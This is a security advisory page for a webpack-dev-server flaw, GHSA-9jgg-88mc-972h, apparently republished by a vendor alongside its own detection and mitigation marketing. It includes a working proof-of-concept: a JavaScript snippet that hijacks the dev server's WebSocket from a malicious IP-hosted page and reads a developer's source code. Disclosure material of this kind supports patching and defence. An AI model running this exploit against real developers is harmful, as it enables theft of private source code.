GHSA-9jgg-88mc-972h
MEDIUMwebpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
webpack-dev-servernpmDescription
Summary
Source code may be stolen when you access a malicious web site with non-Chromium based browser.
Details
The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.
related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.
PoC
- Download reproduction.zip and extract it
- Run
npm i - Run
npx webpack-dev-server - Open
http://{ipaddress}/?target=http://localhost:8080&file=mainwith a non-Chromium browser (I used Firefox 134.0.1) - Edit
src/index.jsin the extracted directory - You can see the content of
src/index.js
The script in the POC site is:
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data);
if (event.data.match('"type":"ok"')) {
s = document.createElement('script');
s.src = `${target}${file}.${currentHash2}.hot-update.js`;
document.body.appendChild(s)
}
r = event.data.match(/"([0-9a-f]{20})"/);
if (r !== null) {
currentHash2 = currentHash;
currentHash = r[1];
console.log(currentHash, currentHash2);
}
}
Impact
This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | webpack-dev-server | all versions | 5.2.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for webpack-dev-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update webpack-dev-server to 5.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9jgg-88mc-972h is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9jgg-88mc-972h is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9jgg-88mc-972h. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9jgg-88mc-972h in your dependencies?
O3 detects GHSA-9jgg-88mc-972h across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.